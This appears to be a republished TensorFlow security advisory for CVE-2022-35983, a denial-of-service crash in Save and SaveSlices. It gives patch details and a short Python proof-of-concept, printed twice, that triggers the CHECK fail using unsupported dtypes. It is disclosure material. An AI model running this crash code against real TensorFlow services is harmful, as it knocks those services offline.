Headline
CVE-2022-35983: `CHECK` fail in `Save` and `SaveSlices`
TensorFlow is an open source platform for machine learning. If Save
or SaveSlices
is run over tensors of an unsupported dtype
, it results in a CHECK
fail that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.
Impact
If Save or SaveSlices is run over tensors of an unsupported dtype, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf filename = tf.constant(“”) tensor_names = tf.constant(“”) # Save data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64) tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, ) # SaveSlices shapes_and_slices = tf.constant(“”) data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32) tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, )
Patches
We have patched the issue in GitHub commit 5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
Related news
### Impact If `Save` or `SaveSlices` is run over tensors of an unsupported `dtype`, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf filename = tf.constant("") tensor_names = tf.constant("") # Save data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64) tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, ) # SaveSlices shapes_and_slices = tf.constant("") data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32) tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, ) ``` ### Patches We have patched the issue in GitHub commit [5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4](https://github.com/tensorflow/tensorflow/commit/5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4). The fix will be included in TensorFlow 2.10.0. We will also cherrypick...